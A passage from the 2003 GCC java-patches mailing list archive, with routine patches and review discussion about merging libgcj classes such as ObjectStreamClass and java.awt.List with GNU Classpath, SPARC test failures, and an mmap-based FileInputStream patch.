1.0 Content-Type: Text/Plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200301040041.01959.konqueror@gmx.de> X-CheckCompat: OK -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Freitag, 3. Januar 2003 18:23 schrieb Tom Tromey: > >>>>> "Michael" == Michael Koch writes: > > Michael> I have written a little patch that starts merging of > Michael> java.net.DatagramPacket with classpath. More merging > patches will Michael> follow. Its just a start. > > The patch actually covers DatagramSocket. No matter though. I > think this is fine. Can you check it in on the trunk and the 3.3 > branch? (If not, let me know and I will handle it.) Sorry it took > me so long to get to this. Can you please check in both for me ? I have currently a littel internet connection problem. Michael - -- Homepage: http://www.worldforge.org/ GPG-key: http://konqueror.dyndns.org/~mkoch/michael.gpg -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+Fh+NWSOgCCdjSDsRApJTAJsGvXAT0EZ37Dw+d6dB9WZhkcKe7gCgk4xD GOyNQgtDPuJROhh4A0GX/QA= =8eP/ -----END PGP SIGNATURE----- From java-patches-return-5751-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Jan 03 23:38:33 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 15716 invoked by alias); 3 Jan 2003 23:38:33 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15709 invoked from network); 3 Jan 2003 23:38:33 -0000 Received: from unknown (HELO ops2.one-point.com) (216.234.116.146) by 209.249.29.67 with SMTP; 3 Jan 2003 23:38:33 -0000 Received: from localhost (jsturm@localhost) by ops2.one-point.com (8.11.6/8.11.6) with ESMTP id h03NcMI18557; Fri, 3 Jan 2003 18:38:22 -0500 Date: Fri, 3 Jan 2003 18:38:22 -0500 (EST) From: Jeff Sturm To: Tom Tromey cc: java-patches@gcc.gnu.org Subject: Re: Enable interpreter for sparc*-* In-Reply-To: <87hecpn9o8.fsf@fleche.redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On 3 Jan 2003, Tom Tromey wrote: > Once that patch goes in, this is fine for the trunk and the 3.3 > branch. This also deserves a news entry -- if you don't want to write > one, tell me and I'll do it. OK, I'll write a patch shortly. > Can I put you down as the Solaris handler on the 3.3 status page? > Mostly this means you're willing to run `make check' from time to > time. That's fine. I can only test Solaris 2.8 though. I can also take alpha-linux if you like. > Could you send the FAIL list? Thanks. See below. SyncTest times out. All JNI tests regularly fail... I haven't looked at them yet. FAIL: PR1343 compilation from bytecode FAIL: PR1343 -O compilation from bytecode FAIL: calls run FAIL: linking cxxtest FAIL: field run FAIL: final_method run FAIL: findclass run FAIL: invoke run FAIL: martin run FAIL: noclass run FAIL: overload run FAIL: register run FAIL: simple_int run FAIL: throwit run FAIL: virtual run FAIL: Array_3 execution - gij test FAIL: Array_3 execution - gij test FAIL: FileHandleGcTest execution - source compiled test FAIL: FileHandleGcTest execution - gij test FAIL: FileHandleGcTest execution - bytecode->native test FAIL: FileHandleGcTest -O execution - source compiled test FAIL: FileHandleGcTest execution - gij test FAIL: FileHandleGcTest -O execution - bytecode->native test FAIL: SyncTest execution - gij test FAIL: SyncTest execution - bytecode->native test FAIL: SyncTest execution - gij test FAIL: SyncTest -O execution - bytecode->native test FAIL: pr8823 compilation from bytecode FAIL: pr8823 -O compilation from bytecode From java-patches-return-5752-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 04 00:02:20 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 29107 invoked by alias); 4 Jan 2003 00:02:19 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 29100 invoked from network); 4 Jan 2003 00:02:18 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 209.249.29.67 with SMTP; 4 Jan 2003 00:02:18 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18Ubkt-0004zq-00 for ; Sat, 04 Jan 2003 01:01:35 +0100 Subject: ObjectStreamClass merge with Classpath From: Mark Wielaard To: java-patches@gcc.gnu.org Content-Type: multipart/mixed; boundary="=-SZqZ/FJ8J8mjgmbCVHgp" Organization: Message-Id: <1041638524.25932.37.camel@elsschot> Mime-Version: 1.0 Date: 04 Jan 2003 01:02:04 +0100 --=-SZqZ/FJ8J8mjgmbCVHgp Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi, The following merges java.io.ObjectStreamClass with the Classpath version. It does make one new Mauve test succeed (ProxyTest), but it does not fix the two Mauve regressions. I do now know why they fail though (Class.getDeclaredMethod("") has been - correctly - changed to throw NoSuchMethodException). I will submit a patch for this later. 2003-01-03 Mark Wielaard Merge with Classpath: * java/io/ObjectStreamClass.java (lookup): Split method and call lookupForClassObject(). (lookupForClassObject): New method. (isProxyClass): New field. (setClass): Set isProxyClass, add object to classLookupTable, set superClass and calculateOffsets. (ObjectStreamClass): Set isProxyClass. Only set uid when Serializable and not a proxy class. (setFields): Set accessible treu for serialPersistentFields. (getClassUID): Same for suid. And check if suid is of type long. (hasClassInitializer): Don't throw NoSuchMethodError. OK for branch and mainline? Cheers, Mark --=-SZqZ/FJ8J8mjgmbCVHgp Content-Disposition: inline; filename=ObjectStreamClass.patch Content-Type: text/x-patch; name=ObjectStreamClass.patch; charset=ISO-8859-15 Content-Transfer-Encoding: 7bit Index: java/io/ObjectStreamClass.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/ObjectStreamClass.java,v retrieving revision 1.9 diff -u -r1.9 ObjectStreamClass.java --- java/io/ObjectStreamClass.java 22 Jan 2002 22:40:14 -0000 1.9 +++ java/io/ObjectStreamClass.java 3 Jan 2003 23:57:55 -0000 @@ -1,6 +1,6 @@ /* ObjectStreamClass.java -- Class used to write class information about serialized objects. - Copyright (C) 1998, 1999, 2000, 2001 Free Software Foundation, Inc. + Copyright (C) 1998, 1999, 2000, 2001, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -44,6 +44,7 @@ import java.lang.reflect.Member; import java.lang.reflect.Method; import java.lang.reflect.Modifier; +import java.lang.reflect.Proxy; import java.security.DigestOutputStream; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; @@ -76,6 +77,19 @@ if (! (Serializable.class).isAssignableFrom (cl)) return null; + return lookupForClassObject (cl); + } + + /** + * This lookup for internal use by ObjectOutputStream. Suppose + * we have a java.lang.Class object C for class A, though A is not + * serializable, but it's okay to serialize C. + */ + static ObjectStreamClass lookupForClassObject (Class cl) + { + if (cl == null) + return null; + ObjectStreamClass osc = (ObjectStreamClass)classLookupTable.get (cl); if (osc != null) @@ -260,22 +274,29 @@ void setClass (Class cl) throws InvalidClassException { this.clazz = cl; + long class_uid = getClassUID (cl); if (uid == 0) + uid = class_uid; + else { - uid = class_uid; - return; - } - - // Check that the actual UID of the resolved class matches the UID from - // the stream. - if (uid != class_uid) - { - String msg = cl + - ": Local class not compatible: stream serialVersionUID=" - + uid + ", local serialVersionUID=" + class_uid; - throw new InvalidClassException (msg); + // Check that the actual UID of the resolved class matches the UID from + // the stream. + if (uid != class_uid) + { + String msg = cl + + ": Local class not compatible: stream serialVersionUID=" + + uid + ", local serialVersionUID=" + class_uid; + throw new InvalidClassException (msg); + } } + + isProxyClass = clazz != null && Proxy.isProxyClass (clazz); + ObjectStreamClass osc = (ObjectStreamClass)classLookupTable.get (clazz); + if (osc == null) + classLookupTable.put (clazz, this); + superClass = lookupForClassObject (clazz.getSuperclass ()); + calculateOffsets (); } void setSuperclass (ObjectStreamClass osc) @@ -328,12 +349,15 @@ { uid = 0; flags = 0; + isProxyClass = Proxy.isProxyClass (cl); clazz = cl; name = cl.getName (); setFlags (cl); setFields (cl); - uid = getClassUID (cl); + // to those class nonserializable, its uid field is 0 + if ( (Serializable.class).isAssignableFrom (cl) && !isProxyClass) + uid = getClassUID (cl); superClass = lookup (cl.getSuperclass ()); } @@ -377,6 +401,7 @@ { Field serialPersistentFields = cl.getDeclaredField ("serialPersistentFields"); + serialPersistentFields.setAccessible(true); int modifiers = serialPersistentFields.getModifiers (); if (Modifier.isStatic (modifiers) @@ -427,26 +452,27 @@ { try { + // Use getDeclaredField rather than getField, since serialVersionUID + // may not be public AND we only want the serialVersionUID of this + // class, not a superclass or interface. Field suid = cl.getDeclaredField ("serialVersionUID"); + suid.setAccessible(true); int modifiers = suid.getModifiers (); - if (Modifier.isStatic (modifiers) && Modifier.isFinal (modifiers)) - return suid.getLong (null); + if (Modifier.isStatic (modifiers) + && Modifier.isFinal (modifiers) + && suid.getType() == Long.TYPE) + return suid.getLong (null); } catch (NoSuchFieldException ignore) - { - } + {} catch (IllegalAccessException ignore) - { - } + {} // cl didn't define serialVersionUID, so we have to compute it try { - MessageDigest md = null; - DigestOutputStream digest_out = null; - DataOutputStream data_out = null; - + MessageDigest md; try { md = MessageDigest.getInstance ("SHA"); @@ -459,8 +485,10 @@ md = MessageDigest.getInstance ("SHA"); } - digest_out = new DigestOutputStream (nullOutputStream, md); - data_out = new DataOutputStream (digest_out); + DigestOutputStream digest_out = + new DigestOutputStream (nullOutputStream, md); + DataOutputStream data_out = new DataOutputStream (digest_out); + data_out.writeUTF (cl.getName ()); int modifiers = cl.getModifiers (); @@ -497,17 +525,7 @@ } // write class initializer method if present - boolean has_init; - try - { - has_init = hasClassInitializer (cl); - } - catch (NoSuchMethodError e) - { - has_init = false; - } - - if (has_init) + if (hasClassInitializer (cl)) { data_out.writeUTF (""); data_out.writeInt (Modifier.STATIC); @@ -564,11 +582,11 @@ catch (NoSuchAlgorithmException e) { throw new RuntimeException ("The SHA algorithm was not found to use in computing the Serial Version UID for class " - + cl.getName ()); + + cl.getName (), e); } catch (IOException ioe) { - throw new RuntimeException (ioe.getMessage ()); + throw new RuntimeException (ioe); } } @@ -582,6 +600,7 @@ // Use getDeclaredField rather than getField for the same reason // as above in getDefinedSUID. Field f = clazz.getDeclaredField ("getSerialPersistentFields"); + f.setAccessible(true); o = (ObjectStreamField[])f.get (null); } catch (java.lang.NoSuchFieldException e) @@ -597,21 +616,23 @@ // Returns true if CLAZZ has a static class initializer // (a.k.a. ). - // - // A NoSuchMethodError is raised if CLAZZ has no such method. private static boolean hasClassInitializer (Class clazz) - throws java.lang.NoSuchMethodError { Method m = null; try { + /* + * There exists a problem here, according to the spec + * clazz.getDeclaredMethod ("", classArgs); + * will always throw NoSuchMethodException, even if the static + * intializer does exist. + */ Class classArgs[] = {}; m = clazz.getDeclaredMethod ("", classArgs); } catch (java.lang.NoSuchMethodException e) { - throw new java.lang.NoSuchMethodError (); } return m != null; @@ -640,9 +661,12 @@ int primFieldSize = -1; // -1 if not yet calculated int objectFieldCount; + boolean isProxyClass = false; + // This is probably not necessary because this class is special cased already // but it will avoid showing up as a discrepancy when comparing SUIDs. private static final long serialVersionUID = -6120832682080437368L; + } --=-SZqZ/FJ8J8mjgmbCVHgp-- From java-patches-return-5753-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 04 00:20:03 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4669 invoked by alias); 4 Jan 2003 00:20:03 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4662 invoked from network); 4 Jan 2003 00:20:02 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 209.249.29.67 with SMTP; 4 Jan 2003 00:20:02 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18Uc1x-00054p-00; Sat, 04 Jan 2003 01:19:13 +0100 Subject: Re: java.io fix and speedup From: Mark Wielaard To: tromey@redhat.com Cc: java-patches@gcc.gnu.org In-Reply-To: <874r8qp3u9.fsf@fleche.redhat.com> References: <1041549233.20966.136.camel@elsschot> <1041551284.20751.139.camel@elsschot> <874r8qp3u9.fsf@fleche.redhat.com> Content-Type: text/plain Organization: Message-Id: <1041639583.25932.50.camel@elsschot> Mime-Version: 1.0 Date: 04 Jan 2003 01:19:43 +0100 Content-Transfer-Encoding: 7bit Hi, On Fri, 2003-01-03 at 17:58, Tom Tromey wrote: > >>>>> "Mark" == Mark Wielaard writes: > > Mark> * java/io/FileDescriptor.java (position): New private field. > Mark> * java/io/natFileDescriptorPosix.cc (write): Up position. > Mark> (setLength): Use and set position. > Mark> (seek): Set position. > Mark> (getFilePointer): Return position. > Mark> (read): Up position. > > With this part, what if two processes are modifying the same file at > the same time? I suppose even the current code has problems in that > situation. Is the performance of setLength and seek important? The java.io API does not give any guarantees in that case anyway (it is not even guaranteed to be thread safe). Especially seek was a bit inefficient in the old code since it called both length() and getFilePosition() unconditionally, even when it was not necessary, which resulted in three system calls for every seek. Seek is an operation you do quite often with RandomAccessFiles. But the speedup wasn't that big and not that important. If the mmap patch from Jeff is useable in general then that would give us much bigger improvements. Cheers, Mark From java-patches-return-5754-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 04 02:56:54 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21861 invoked by alias); 4 Jan 2003 02:56:52 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21854 invoked from network); 4 Jan 2003 02:56:51 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 4 Jan 2003 02:56:51 -0000 Received: from fleche.redhat.com (tz0174.peakpeak.com [207.174.69.174]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id TAA25580; Fri, 3 Jan 2003 19:56:38 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 7DDE34F8073; Fri, 3 Jan 2003 19:59:37 -0700 (MST) To: Jeff Sturm Cc: Mark Wielaard , Subject: Re: java.io fix and speedup References: From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: While you're chewing, think of STEVEN SPIELBERG'S bank account.. This will have the same effect as two ``STARCH BLOCKERS''! Date: 03 Jan 2003 19:59:37 -0700 In-Reply-To: Message-ID: <87d6ndk4bq.fsf@fleche.redhat.com> Lines: 20 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Jeff" == Jeff Sturm writes: Jeff> I have a local patch similar to Mark's that mmap's a Jeff> FileInputStream. That sounds interesting. We'll need to keep the non-mmap implementation, too, since mmap is a portability morass. Doesn't the glibc stdio mmap in many/most situations? If they do it then it seems like it must be a performance win. (I still haven't looked at java.nio but my impression was that it was designed to allow this sort of thing.) Jeff> Given that getFilePointer can't really be trusted because it Jeff> can't be performed atomically with any other operation, I don't Jeff> see any harm in Mark's patch. Thanks for opining; I agree. Mark, go ahead and check it in. Tom From java-patches-return-5755-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 04 03:05:44 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 23318 invoked by alias); 4 Jan 2003 03:05:42 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 23308 invoked from network); 4 Jan 2003 03:05:41 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 4 Jan 2003 03:05:41 -0000 Received: from fleche.redhat.com (tz0174.peakpeak.com [207.174.69.174]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id UAA26904; Fri, 3 Jan 2003 20:05:29 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 39D264F8073; Fri, 3 Jan 2003 20:08:28 -0700 (MST) To: Mark Wielaard Cc: java-patches@gcc.gnu.org Subject: Re: ObjectStreamClass merge with Classpath References: <1041638524.25932.37.camel@elsschot> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: I'm ANN LANDERS!! I can SHOPLIFT!! Date: 03 Jan 2003 20:08:28 -0700 In-Reply-To: <1041638524.25932.37.camel@elsschot> Message-ID: <878yy1k3wz.fsf@fleche.redhat.com> Lines: 10 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mark" == Mark Wielaard writes: Mark> Merge with Classpath: Mark> * java/io/ObjectStreamClass.java (lookup): Split method and call Mark> OK for branch and mainline? Yes, thanks. Tom From java-patches-return-5756-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 04 03:46:44 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 7168 invoked by alias); 4 Jan 2003 03:46:41 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 7151 invoked from network); 4 Jan 2003 03:46:40 -0000 Received: from unknown (HELO ops2.one-point.com) (216.234.116.146) by 209.249.29.67 with SMTP; 4 Jan 2003 03:46:40 -0000 Received: from localhost (jsturm@localhost) by ops2.one-point.com (8.11.6/8.11.6) with ESMTP id h043kV525851; Fri, 3 Jan 2003 22:46:31 -0500 Date: Fri, 3 Jan 2003 22:46:30 -0500 (EST) From: Jeff Sturm To: java-patches@gcc.gnu.org cc: gcc-patches@gcc.gnu.org, Subject: [wwwdocs] Add java news item Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII 2003-01-03 Jeff Sturm * index.html: Add news item. Index: index.html =================================================================== RCS file: /cvs/gcc/wwwdocs/htdocs/java/index.html,v retrieving revision 1.119 diff -u -p -r1.119 index.html --- index.html 27 Dec 2002 11:22:49 -0000 1.119 +++ index.html 4 Jan 2003 03:39:54 -0000 @@ -68,6 +68,13 @@ and RPMs are available. + + - + @@ -59,7 +59,7 @@ - + @@ -89,7 +89,7 @@ - + From java-patches-return-5764-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Jan 05 01:09:59 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 8307 invoked by alias); 5 Jan 2003 01:09:59 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 8300 invoked from network); 5 Jan 2003 01:09:58 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 5 Jan 2003 01:09:58 -0000 Received: from fleche.redhat.com (tz0182.peakpeak.com [207.174.69.182]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id SAA02792; Sat, 4 Jan 2003 18:09:46 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id 66BC54F8073; Sat, 4 Jan 2003 18:12:58 -0700 (MST) To: Java Patch List Subject: Patch: FYI: Classpath mergelet From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Oh, FISH sticks, CHEEZ WHIZ, GIN fizz, SHOW BIZ!! Date: 04 Jan 2003 18:12:58 -0700 Message-ID: <87k7hkh011.fsf@fleche.redhat.com> Lines: 55 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in. This is a minor AWT merge with Classpath. I missed this class last time. Tom Index: ChangeLog from Tom Tromey * java/awt/List.java: Merged with Classpath. Index: java/awt/List.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/List.java,v retrieving revision 1.8 diff -u -r1.8 List.java --- java/awt/List.java 9 Nov 2002 23:23:32 -0000 1.8 +++ java/awt/List.java 5 Jan 2003 01:09:24 -0000 @@ -113,6 +113,8 @@ /** * Initializes a new instance of List with no visible lines * and multi-select disabled. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ public List() @@ -127,6 +129,8 @@ * number of visible lines and multi-select disabled. * * @param lines The number of visible lines in the list. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ public List(int rows) @@ -143,12 +147,17 @@ * @param lines The number of visible lines in the list. * @param multipleMode true if multiple lines can be selected * simultaneously, false otherwise. + * + * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. */ public List(int rows, boolean multipleMode) { this.rows = rows; this.multipleMode = multipleMode; + + if (GraphicsEnvironment.isHeadless()) + throw new HeadlessException (); } /*************************************************************************/ From java-patches-return-5765-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sun Jan 05 01:18:06 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 9298 invoked by alias); 5 Jan 2003 01:18:05 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 9286 invoked from network); 5 Jan 2003 01:18:04 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 209.249.29.67 with SMTP; 5 Jan 2003 01:18:04 -0000 Received: from fleche.redhat.com (tz0182.peakpeak.com [207.174.69.182]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id SAA03863; Sat, 4 Jan 2003 18:17:51 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id C3E384F8073; Sat, 4 Jan 2003 18:21:02 -0700 (MST) To: Java Patch List Cc: Gcc Patch List Subject: Patch: FYI: classpath comparison From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Why was I BORN? Date: 04 Jan 2003 18:21:02 -0700 Message-ID: <87fzs8gznl.fsf@fleche.redhat.com> Lines: 58 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I'm checking this in. There's been a little classpath merging lately. Tom Index: ChangeLog from Tom Tromey * libgcj-classpath-compare.html: Rebuilt. Index: libgcj-classpath-compare.html =================================================================== RCS file: /cvs/gcc/wwwdocs/htdocs/java/libgcj-classpath-compare.html,v retrieving revision 1.60 diff -u -r1.60 libgcj-classpath-compare.html --- libgcj-classpath-compare.html 2 Jan 2003 00:20:56 -0000 1.60 +++ libgcj-classpath-compare.html 5 Jan 2003 01:15:07 -0000 @@ -8,7 +8,7 @@

This page compares the "current" cvs libgcj against the "current" cvs Classpath. It was generated using the gen-classpath-compare script (available in gcc cvs repository in wwwdocs/bin/) on -2003-01-01. +2003-01-04. This table intentionally omits certain classes which are not of interest. If the third column shows a "Diff" link, then that means the script believes that the class has been merged, but a difference @@ -18,7 +18,6 @@

Class libgcj Classpath Merge Status
java.awt.Adjustable Yes Yes Diff
java.awt.AlphaComposite Yes Yes Diff
java.awt.BasicStroke Yes Yes Diff
java.awt.BufferCapabilities Yes Yes Diff
java.awt.Button Yes Yes Diff
java.awt.CheckboxMenuItem Yes Yes Diff
java.awt.Choice Yes Yes Diff
java.awt.color.CMMException Yes Yes Diff
java.awt.color.ColorSpace Yes Yes Diff
java.awt.color.ICC_Profile Yes Yes Diff
java.awt.color.ProfileDataException Yes Yes Diff
java.awt.Container Yes Yes Diff
java.awt.Cursor Yes Yes Diff
java.awt.datatransfer.Clipboard Yes Yes Diff
java.awt.datatransfer.DataFlavor Yes Yes Diff
java.awt.datatransfer.FlavorMap Yes Yes Diff
java.awt.datatransfer.SystemFlavorMap Yes Yes Diff
java.awt.dnd.DragGestureEvent Yes Yes Diff
java.awt.dnd.DragGestureRecognizer Yes Yes Diff
java.awt.dnd.DragSource Yes Yes Diff
java.awt.dnd.DropTarget Yes Yes Diff
java.awt.EventQueue Yes Yes Diff
java.awt.event.WindowEvent Yes Yes Diff
java.awt.FileDialog Yes Yes Diff
java.awt.geom.PathIterator Yes Yes Diff
java.awt.Graphics2D Yes Yes Diff
java.awt.im.InputMethodHighlight Yes Yes Diff
java.awt.Label Yes Yes Diff
java.awt.List Yes Yes Diff
java.awt.MenuBar Yes Yes Diff
java.awt.MenuComponent Yes Yes Diff
java.awt.Menu Yes Yes Diff
java.awt.PopupMenu Yes Yes Diff
java.awt.Scrollbar Yes Yes Diff
java.awt.ScrollPane Yes Yes Diff
java.awt.TextArea Yes Yes Diff
java.awt.TextField Yes Yes Diff
java.awt.Toolkit Yes Yes Diff
java.awt.Transparency Yes Yes Diff
java.io.DataOutputStream Yes Yes No
java.io.FileDescriptor Yes Yes No
java.io.FileInputStream Yes Yes No
java.io.ObjectStreamClass Yes Yes Diff
java.io.ObjectStreamField Yes Yes Diff
java.io.OutputStreamWriter Yes Yes No
java.io.PipedOutputStream Yes Yes Diff
java.io.PipedWriter Yes Yes Diff
java.io.PrintStream Yes Yes No
java.io.RandomAccessFile Yes Yes No
java.lang.Character Yes Yes Diff
java.nio.LongBuffer Yes Yes Diff
java.nio.MappedByteBuffer Yes Yes Diff
java.nio.ShortBuffer Yes Yes Diff
java.rmi.server.RMIClassLoader Yes Yes Diff
java.rmi.server.RMIClassLoaderSpi No Yes No
java.text.CollationElementIterator Yes Yes No
java.text.CollationKey Yes Yes No
java.text.Collator Yes Yes Diff
+January 3, 2003 + +Jeff Sturm implemented libffi closures for SPARC so that libgcj's +bytecode interpreter is now available on SPARC Solaris hosts. +
January 1, 2003 The January 2003 issue of Linux Journal contains the article From java-patches-return-5757-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Jan 04 05:43:54 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 31312 invoked by alias); 4 Jan 2003 05:43:53 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 31305 invoked from network); 4 Jan 2003 05:43:53 -0000 Received: from unknown (HELO ops2.one-point.com) (216.234.116.146) by 209.249.29.67 with SMTP; 4 Jan 2003 05:43:53 -0000 Received: from localhost (jsturm@localhost) by ops2.one-point.com (8.11.6/8.11.6) with ESMTP id h045hd227479; Sat, 4 Jan 2003 00:43:39 -0500 Date: Sat, 4 Jan 2003 00:43:39 -0500 (EST) From: Jeff Sturm To: Mark Wielaard cc: tromey@redhat.com, Subject: Re: java.io fix and speedup In-Reply-To: <1041639583.25932.50.camel@elsschot> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On 4 Jan 2003, Mark Wielaard wrote: > If the mmap patch from Jeff is useable in > general then that would give us much bigger improvements. Below is the patch I used (against 3.2 branch). It only attempts to mmap() for read access. I don't know whether this is a good idea, versus waiting for a possible java.nio implementation. (I got the idea from Per Bothner, in a message I can't find now.) Index: configure.in =================================================================== RCS file: /cvs/gcc/gcc/libjava/configure.in,v retrieving revision 1.114.2.16 diff -u -p -r1.114.2.16 configure.in --- configure.in 8 May 2002 04:26:24 -0000 1.114.2.16 +++ configure.in 4 Jan 2003 05:28:24 -0000 @@ -497,7 +497,7 @@ if test -n "${with_cross_host}"; then else AC_CHECK_FUNCS(strerror ioctl select fstat open fsync sleep opendir) AC_CHECK_FUNCS(gmtime_r localtime_r readdir_r getpwuid_r getcwd) - AC_CHECK_FUNCS(access stat mkdir rename rmdir unlink realpath utime chmod) + AC_CHECK_FUNCS(access stat mkdir rename rmdir unlink realpath utime chmod mmap) AC_CHECK_FUNCS(nl_langinfo setlocale) AC_CHECK_FUNCS(inet_aton inet_addr, break) AC_CHECK_FUNCS(inet_pton uname inet_ntoa) Index: java/io/FileDescriptor.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/FileDescriptor.java,v retrieving revision 1.8.12.1 diff -u -p -r1.8.12.1 FileDescriptor.java --- java/io/FileDescriptor.java 8 Mar 2002 00:43:29 -0000 1.8.12.1 +++ java/io/FileDescriptor.java 4 Jan 2003 05:28:24 -0000 @@ -100,4 +100,8 @@ public final class FileDescriptor // we want to make sure this has the value -1. This is the most // efficient way to accomplish that. private int fd = -1; + + private gnu.gcj.RawData maddr; + private long mlen; + private long mpos; } Index: java/io/natFileDescriptorPosix.cc =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/natFileDescriptorPosix.cc,v retrieving revision 1.16.10.2 diff -u -p -r1.16.10.2 natFileDescriptorPosix.cc --- java/io/natFileDescriptorPosix.cc 10 Mar 2002 18:00:04 -0000 1.16.10.2 +++ java/io/natFileDescriptorPosix.cc 4 Jan 2003 05:28:25 -0000 @@ -28,6 +28,10 @@ details. */ #include #endif +#ifdef HAVE_MMAP +#include +#endif + #include #include #include @@ -124,6 +128,31 @@ java::io::FileDescriptor::open (jstring _Jv_platform_close_on_exec (fd); +#ifdef HAVE_MMAP + maddr = NULL; + mlen = 0; + mpos = 0; +# ifdef 